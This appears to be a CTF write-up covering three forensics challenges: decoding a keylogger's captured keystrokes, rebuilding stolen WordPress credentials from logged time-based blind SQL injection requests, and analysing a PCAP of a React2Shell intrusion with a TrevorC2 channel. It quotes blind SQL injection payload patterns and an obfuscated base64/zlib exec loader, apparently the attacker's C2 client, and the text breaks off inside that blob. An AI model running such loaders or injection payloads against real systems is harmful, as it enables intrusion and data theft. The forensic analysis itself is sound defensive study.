> For the complete documentation index, see [llms.txt](https://pujo.gitbook.io/en/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pujo.gitbook.io/en/writeups/c2c-ctf-2026-quals.md).

# C2C CTF 2026 Quals

## Forensics

### Tattletale

> Apparently I have just suspected that this `serizawa` binary is a malware .. I was just so convinced that a friend of mine who was super inactive suddenly goes online today and tell me that this binary will help me to boost my Linux performance.
>
> Now that I realized something's wrong.
>
> Note: This is a reverse engineering and forensic combined theme challenge. Don't worry, the malware is not destructive, not like the other challenge. Once you realized what does the malware do, you'll know how the other 2 files are correlated. Enjoy warming up with this easy one!
>
> Author: aseng

For this challenge, we're provided with three files.

* cron.aseng, which typically `/dev/input/event0` records.
* serizawa, packed ELF binary.
* and there is one file whatisthis.enc which I assume that's where the flag stored.

First, we should examine what serizawa binary is, so we can decompile it. Use Detect It Easy, we can know that the binary is packed with PyInstaller.

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2Fz5HwXQwISuxAl85l1nVn%2Fimage.png?alt=media&#x26;token=a98bd7f7-9ec9-421a-838b-07daffe9c1d2" alt=""><figcaption></figcaption></figure>

So, we can use [PyInstxtractor](https://github.com/extremecoders-re/pyinstxtractor) to extract the original source code. After that, we got the serizawa.pyc that we can decompile use [PyLingual here](https://pylingual.io/view_chimera?identifier=a58b5584b6e8c2ca514f35778ce547294924d17a5f9e767405693fb35cfa9d15). After we got the original source code, now we kan know that is a keylogger and we can parse the cron.aseng so it can be readable.

```python
import struct

FILE_PATH = "cron.aseng"
STRUCT_FORMAT = "QQHHi"
EVENT_SIZE = struct.calcsize(STRUCT_FORMAT)

# Linux keycode map (partial but enough for flags/passwords)
KEY_MAP = {
    2: "1", 3: "2", 4: "3", 5: "4", 6: "5",
    7: "6", 8: "7", 9: "8", 10: "9", 11: "0",
    16: "q", 17: "w", 18: "e", 19: "r", 20: "t",
    21: "y", 22: "u", 23: "i", 24: "o", 25: "p",
    30: "a", 31: "s", 32: "d", 33: "f", 34: "g",
    35: "h", 36: "j", 37: "k", 38: "l",
    44: "z", 45: "x", 46: "c", 47: "v", 48: "b",
    49: "n", 50: "m",
    57: " ",        # space
    28: "\n",       # enter
    14: "[BACKSPACE]"
}

def parse_keylog():
    output = ""

    with open(FILE_PATH, "rb") as f:
        while True:
            data = f.read(EVENT_SIZE)
            if len(data) < EVENT_SIZE:
                break

            sec, usec, type_, code, value = struct.unpack(STRUCT_FORMAT, data)

            # Only key press events
            if type_ == 1 and value == 1:
                key = KEY_MAP.get(code, f"[{code}]")

                if key == "[BACKSPACE]":
                    output = output[:-1]
                else:
                    output += key

    return output

if __name__ == "__main__":
    result = parse_keylog()
    print(result)

```

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FMaYDXKWqXNLsFUzctiUj%2Fimage.png?alt=media&#x26;token=6c4c6a1f-f98c-4e21-8bd1-8e6d1065c99d" alt=""><figcaption></figcaption></figure>

Although its garbaged, but we can see the message. the flag encrypted in the whatisthis.enc, and its an `.env` file. The password used is `pass:4_g00d_fr13nD_in_n33D` . Then, we can decrypt it with openssl.

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FA77aYa6aknYtdW3lS2Ct%2Fimage.png?alt=media&#x26;token=76cecddd-fb29-4ff2-887a-332d5acd2e0c" alt=""><figcaption></figcaption></figure>

Its look like octal dump, because lots of 6 digit octal words. So, I convert that to be a readable string with:

```python
import re
import struct

with open("whatisthis.dec") as f:
    data = f.read()

nums = re.findall(r"\b[0-7]{6}\b", data)

with open("env", "wb") as out:
    for n in nums:
        value = int(n, 8)
        out.write(struct.pack("<H", value))

```

then we can find the flag inside that env.

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FghCOWVnY86b4u3bPz1qZ%2Fimage.png?alt=media&#x26;token=1f87477b-ade7-48a7-af77-a9cce21db319" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
C2C{it\_is\_just\_4\_very\_s1mpl3\_l1nuX\_k3ylogger\_xixixi\_haiyaaaaa\_ez}
{% endhint %}

### Log

> My website has been hacked. Please help me answer the provided questions using the available logs!
>
> Author: daffainfo

For this challenge, we are given a log from the WordPress service, the `access.log` and `error.log`. Also, to get the flag, we must answer several question.

1. What is the Victim's IP address?

To get the answer, we can look at the `access.log` at the first request. We can see that there is only 2 IP. Their local, `127.0.0.1`, and possibly their public IP, `182.8.97.244` . We can confirm it by submit the IP and got the correct one.

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2F4QovUpx4VNSGYsNYl9PA%2Fimage.png?alt=media&#x26;token=552d8738-032f-44f8-a1e7-1381483fbbb3" alt=""><figcaption></figcaption></figure>

2. What is the Attacker's IP address?

And when we scrolled down, we can also see other IP, `219.75.27.16` . Which the only one IP except the Victim IP address. So the it also the answer for Question 2.

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2Fh5XEEXvtD7oHlMDMNain%2Fimage.png?alt=media&#x26;token=c4cc76ba-2128-44ac-ac90-8d22ade35ad6" alt=""><figcaption></figcaption></figure>

3. How many login attempts were made?

The attacker seems to attempt some logins in the Wordpress.

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FJryuaKDd8lINAB6ktJBH%2Fimage.png?alt=media&#x26;token=23f2e61b-41cd-46fd-b13e-b4d8aa195b97" alt=""><figcaption></figcaption></figure>

So the answer for the next question is `5`

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2F68my3g2V1gdPp1KkyGKV%2Fimage.png?alt=media&#x26;token=6b567409-bfe8-46cc-b7eb-1d95c09b4a02" alt=""><figcaption></figcaption></figure>

4. Which plugin was affected?

Scrolled down little bit, we can also spot the plugin affected

```json
219.75.27.16 - - [11/Jan/2026:12:51:32 +0000] "GET /wp-content/plugins/easy-quotes/public/js/script.js?ver=1768134453 HTTP/1.1" 200 2465 "http://165.22.125.147/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.56 Safari/537.36"
```

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2F7ERTqcFMX2tOHge1X57o%2Fimage.png?alt=media&#x26;token=87c9dd79-b3da-4222-92f8-d492d2758894" alt=""><figcaption></figcaption></figure>

5. What is the CVE ID?

Search on the internet, we can found the CVE related to the attack

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FAyjjSPDVAbRjGelWZsCS%2Fimage.png?alt=media&#x26;token=3c2b7126-6165-4998-8cee-8a8c8366a5f1" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FWwm4SuJPYPszHnTVX0nh%2Fimage.png?alt=media&#x26;token=91958475-7303-4086-9547-8fcbcd7ff840" alt=""><figcaption></figcaption></figure>

6. Which tool and version were used to exploit the CVE?

And based on the search above, we can know that it cause an Unauthenticated SQL Injection. As we know, the popular SQL Injection tool is sqlmap, and we can search it on the log to get the detail version.

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FsBvsCVgCgWEaMjyJlemr%2Fimage.png?alt=media&#x26;token=971c5340-9aaf-4eac-8f9c-c22dfa1218d0" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2F0MHqrCD8Pb2jK1PDQjRh%2Fimage.png?alt=media&#x26;token=5b263213-b381-4714-b531-e8338d007159" alt=""><figcaption></figcaption></figure>

7. What is the email address obtained by the attacker?

And to know the email address, we can extract the injection from the log to recover a email pattern.

```python
import re
from urllib.parse import unquote
from datetime import datetime

time_re = re.compile(r'\[(\d{2}/[A-Za-z]{3}/\d{4}:\d{2}:\d{2}:\d{2} [+-]\d{4})\]')
def parse_time(line):
    m = time_re.search(line)
    return datetime.strptime(m.group(1), "%d/%b/%Y:%H:%M:%S %z") if m else None

pat = re.compile(
    r"ORD\(MID\(\(SELECT IFNULL\(CAST\(user_email AS NCHAR\),0x20\) "
    r"FROM (\w+)\.wp_users ORDER BY ID LIMIT 0,1\),(\d+),1\)\)\s*(<=|>=|!=|=|<|>)\s*(\d+)",
    re.I
)

rows = []
with open("access.log","r",encoding="utf-8",errors="replace") as f:
    for ln in f:
        if "user_email" not in ln.lower():
            continue
        dec = unquote(ln.strip())
        t = parse_time(dec)
        m = pat.search(dec)
        if not m:
            continue
        schema, pos, op, val = m.group(1), int(m.group(2)), m.group(3), int(m.group(4))
        rows.append((t, pos, op, val, dec))

rows.sort(key=lambda x: x[0])
# slept flag for row i inferred from time gap to row i+1
slept = []
for i in range(len(rows)-1):
    dt = (rows[i+1][0] - rows[i][0]).total_seconds()
    slept.append(dt >= 1)
slept.append(None)

# Build constraints per position
from collections import defaultdict
lo = defaultdict(lambda: 32)   # printable-ish start
hi = defaultdict(lambda: 126)  # printable-ish end
eq = {}                        # if discovered via op '=' or op '!=' with slept False

for (t,pos,op,val,_), s in zip(rows, slept):
    if s is None:
        continue
    if op == ">"  : (lo[pos], hi[pos]) = ((max(lo[pos], val+1), hi[pos]) if s else (lo[pos], min(hi[pos], val)))
    if op == "<"  : (lo[pos], hi[pos]) = ((lo[pos], min(hi[pos], val-1)) if s else (max(lo[pos], val), hi[pos]))
    if op == "="  :
        if s: eq[pos] = val
    if op == "!=" :
        if not s: eq[pos] = val
    if op == ">=" : (lo[pos], hi[pos]) = ((max(lo[pos], val), hi[pos]) if s else (lo[pos], min(hi[pos], val-1)))
    if op == "<=" : (lo[pos], hi[pos]) = ((lo[pos], min(hi[pos], val)) if s else (max(lo[pos], val+1), hi[pos]))

# Recover string
out = []
for pos in range(1, 100):
    if pos in eq:
        c = eq[pos]
    elif lo[pos] == hi[pos]:
        c = lo[pos]
    else:
        break
    out.append(chr(c))
print("".join(out))

```

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FqvwrU6N1VlmwCxql1GtQ%2Fimage.png?alt=media&#x26;token=1e65171b-0ffc-4716-ace2-904ee7a8073d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FEczhgimXImdXD5ars80n%2Fimage.png?alt=media&#x26;token=58b941a3-4e61-445b-8859-9c891a41557a" alt=""><figcaption></figcaption></figure>

8. What is the password hash obtained by the attacker?

With some modified with previous script, we could also extract the password

```python
import re
import sys
from urllib.parse import unquote
from datetime import datetime
from collections import defaultdict

TIME_RE = re.compile(r'\[(\d{2}/[A-Za-z]{3}/\d{4}:\d{2}:\d{2}:\d{2} [+-]\d{4})\]')

def parse_time(line: str):
    m = TIME_RE.search(line)
    return datetime.strptime(m.group(1), "%d/%b/%Y:%H:%M:%S %z") if m else None

def recover_user_pass(log_path: str) -> str:
    # Matches payload fragments like:
    # ORD(MID((SELECT IFNULL(CAST(user_pass AS NCHAR),0x20) FROM wordpress.wp_users ...),pos,1)) > 64
    op_re = r"(<=|>=|!=|=|<|>)"
    pat = re.compile(
        rf"ORD\(MID\(\(SELECT\s+IFNULL\(CAST\(user_pass\s+AS\s+NCHAR\),0x20\)\s+"
        rf"FROM\s+(\w+)\.wp_users\s+ORDER\s+BY\s+ID\s+LIMIT\s+0,1\),(\d+),1\)\)\s*{op_re}\s*(\d+)",
        re.I
    )

    rows = []
    with open(log_path, "r", encoding="utf-8", errors="replace") as f:
        for ln in f:
            if "user_pass" not in ln.lower():
                continue
            dec = unquote(ln.strip())
            t = parse_time(dec)
            m = pat.search(dec)
            if not (t and m):
                continue
            _schema = m.group(1)
            pos = int(m.group(2))
            op = m.group(3)
            val = int(m.group(4))
            rows.append((t, pos, op, val))

    rows.sort(key=lambda x: x[0])

    # slept[i] indicates whether request i likely slept (~1s) before request i+1 arrived
    slept = []
    for i in range(len(rows) - 1):
        dt = (rows[i + 1][0] - rows[i][0]).total_seconds()
        slept.append(dt >= 1.0)
    slept.append(None)  # last request has no successor to compare against

    lo = defaultdict(lambda: 32)   # printable-ish lower bound
    hi = defaultdict(lambda: 126)  # printable-ish upper bound
    eq = {}                        # discovered exact value (from '=' or '!=' cases)
    neq = defaultdict(set)         # values proven not equal (from '!=' cases)

    # For payload shape SLEEP(1-(IF(cond,0,1))):
    # slept=True  => cond is TRUE
    # slept=False => cond is FALSE
    for (_, pos, op, val), s in zip(rows, slept):
        if s is None:
            continue

        if op == ">":
            if s: lo[pos] = max(lo[pos], val + 1)
            else: hi[pos] = min(hi[pos], val)
        elif op == ">=":
            if s: lo[pos] = max(lo[pos], val)
            else: hi[pos] = min(hi[pos], val - 1)
        elif op == "<":
            if s: hi[pos] = min(hi[pos], val - 1)
            else: lo[pos] = max(lo[pos], val)
        elif op == "<=":
            if s: hi[pos] = min(hi[pos], val)
            else: lo[pos] = max(lo[pos], val + 1)
        elif op == "=":
            if s: eq[pos] = val
        elif op == "!=":
            if not s:  # cond FALSE => ORD(...) != val is false => ORD(...) == val
                eq[pos] = val
            else:
                neq[pos].add(val)

    out = []
    for pos in range(1, 256):
        c = None
        if pos in eq:
            c = eq[pos]
        else:
            candidates = set(range(lo[pos], hi[pos] + 1)) - neq[pos]
            if len(candidates) == 1:
                c = next(iter(candidates))
            elif lo[pos] == hi[pos]:
                c = lo[pos]

        if c is None:
            break

        # IFNULL(...,0x20) often yields space beyond end-of-string; treat as terminator
        if c == 32:
            break

        out.append(chr(c))

    return "".join(out)

def main():
    log_path = sys.argv[1] if len(sys.argv) > 1 else "access.log"
    print(recover_user_pass(log_path))

if __name__ == "__main__":
    main()

```

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FsVmDaRRQW7UVOC4aFhrN%2Fimage.png?alt=media&#x26;token=852e3390-9e65-4eec-abf8-bc8e291574aa" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FJRh5dxLmLMAqIlhdlMlD%2Fimage.png?alt=media&#x26;token=0a2916d3-e311-4287-a89d-a6f3829328ec" alt=""><figcaption></figcaption></figure>

9. When did the attacker successfully log in?

Back to the log, we can search the POST method to `wp-login` and get the timestamp

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FSpP03CwGVSNB5ovhDLuF%2Fimage.png?alt=media&#x26;token=7ef7824d-384e-4c2b-8d4c-e68f5adafd31" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FuvmAKOH6VYqduodd1oa8%2Fimage.png?alt=media&#x26;token=54cc7f3a-9987-4c90-a7c5-2a259854413b" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
C2C{7H15\_15\_V3rY\_345Y\_5556747f102c}
{% endhint %}

### React

> One month ago, there was a massive attack on one of the popular JS frameworks, and it seems like my website was affected as well...
>
> You can use [Wireshark](https://www.wireshark.org/download.html) to analyze the PCAP file.
>
> author: daffainfo

In this challenge, we will provide a packet capture. Also, we need to answer several questions to obtain the flag. For packet capture challenges, I usually use [apackets](https://apackets.com/) to help me visualize the captured network.

1. What is the IP address of the attacker?

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FS5YViyU02WRPgTfdkjA0%2Fimage.png?alt=media&#x26;token=d4f221ad-8eb1-4557-af46-bb3cbda1dbe7" alt=""><figcaption></figcaption></figure>

From that we know that the related IP from the incident is `192.168.56.103` and `192.168.56.103` .

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2Fv8wDnksX0WBeay5Bgjpv%2Fimage.png?alt=media&#x26;token=e708b685-e4c6-4541-8262-c1d961fafee5" alt=""><figcaption></figcaption></figure>

And from that information, its strongly suggest that the attacker IP is `192.168.56.104`

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2F1cAX9aatkEImGQ0h3Olx%2Fimage.png?alt=media&#x26;token=249d9173-1e52-477c-b539-9a1aa044cc51" alt=""><figcaption></figcaption></figure>

2. What is the IP address of the victim?

From previous question, we can know the vistim IP is `192.168.56.103`

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2Fi4TVXjmqwLw6lq47FSOi%2Fimage.png?alt=media&#x26;token=416d71f5-0acf-4eef-b156-c24f96a11a16" alt=""><figcaption></figcaption></figure>

3. What tools did the attacker use first? (Lowercase)

Basically, the common tools for the attacker in first time is nmap, but we need to prove it, right?

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2F0RBRhVPcSGt1PtB3p9Gd%2Fimage.png?alt=media&#x26;token=3500412e-32b4-4c6a-afc1-0093e0a372ca" alt=""><figcaption></figcaption></figure>

Based on what we found, it scans many ports. This behavior is consistent with Nmap’s default SYN scan (-sS).

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FTyyV7XkIhfhqlSjFyOAO%2Fimage.png?alt=media&#x26;token=b3e1f8f3-63b9-424b-b960-ceb0baa4f569" alt=""><figcaption></figcaption></figure>

4. Which CVE ID was exploited by the attacker?

Based on the description, we know that this is a popular React CVE.

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FBNORMRvshsLDFUS5344a%2Fimage.png?alt=media&#x26;token=73a723f0-3486-426d-82c8-9f2365f52594" alt=""><figcaption></figcaption></figure>

And from that, we know that its Next js. And some popular CVE from that is the latest who can get RCE, but we must confirm that.

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2Fav9FDvh5TpxLBBgOWeqw%2Fimage.png?alt=media&#x26;token=45da6efe-151a-400e-937d-84460452ff21" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FGmMes6w73CE6i5bkS5o2%2Fimage.png?alt=media&#x26;token=b6e7450d-d6cc-48b7-8db0-70aa254f27bd" alt=""><figcaption></figcaption></figure>

We can confirm that this is the popular CVE called [React2Shell](https://securitylabs.datadoghq.com/articles/cve-2025-55182-react2shell-remote-code-execution-react-server-components/).

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FtTfk6mYQNVzPrPAx7jtJ%2Fimage.png?alt=media&#x26;token=279e6bb4-00ca-4cbc-9b1c-7d1a8aa6c274" alt=""><figcaption></figcaption></figure>

5. What was the first command executed by the attacker?

From previous step, we know the first command executed is `echo 123`

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FZpaErM5I6jP0G4ZaZ2Ap%2Fimage.png?alt=media&#x26;token=175c5738-6888-427d-9dc9-f2993e3023b8" alt=""><figcaption></figcaption></figure>

6. Which Command and Control (C2) framework is being used?

To answer this question, we can back to the apackets result and find interesting requests

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FYQ4tbatIIXbqHmhls8vc%2Fimage.png?alt=media&#x26;token=1f7fc61c-5bbd-4fa4-a7b1-7a3f63965271" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FauDI33k9AUbZgFvqiSX2%2Fimage.png?alt=media&#x26;token=25e9e74a-20bf-4b72-8a65-a05d2a57f0e9" alt=""><figcaption></figcaption></figure>

And from the [article](https://nasbench.medium.com/understanding-detecting-c2-frameworks-trevorc2-2a9ce6f1f425) I found, It strongly suggests that the C2 is Trevor C2.

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FPMY9rl4t4uhGBBUywZsg%2Fimage.png?alt=media&#x26;token=5947830a-1929-406b-9c7f-d60868673a09" alt=""><figcaption></figcaption></figure>

7. What password was used to interact with the C2 server?

I think this is the part which tricked me. Like there is no strong evidence to find where the attacker plant the client.py to connect to the C2 server. Find the TLS protocol, I think its a Weak RSA key, like this [article](https://kos0ng.gitbook.io/notes/research/2023/analyzing-cve-2021-22204-based-on-network-traffic-pcap-file). But calculating the mod, the factor is big and not possible to be cracked. So I move to other tools called [RsaCtfTool](https://github.com/RsaCtfTool/RsaCtfTool).

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FvKyumdJFEpEhuAbyz0pO%2Fimage.png?alt=media&#x26;token=6425ccc2-8722-413c-ab56-d4dd43d3d0cb" alt=""><figcaption></figcaption></figure>

And we find the key! So lets decrypt it and we can find the `a.py`

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FWAse4J4GhJIkG80BlKVM%2Fimage.png?alt=media&#x26;token=2476fd7e-b5a5-4299-aa69-2e49937d8c43" alt=""><figcaption></figcaption></figure>

But it is an obfuscated code, so we must deobfuscate it because we know the obfuscation method

```python
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));
exec((_)(b'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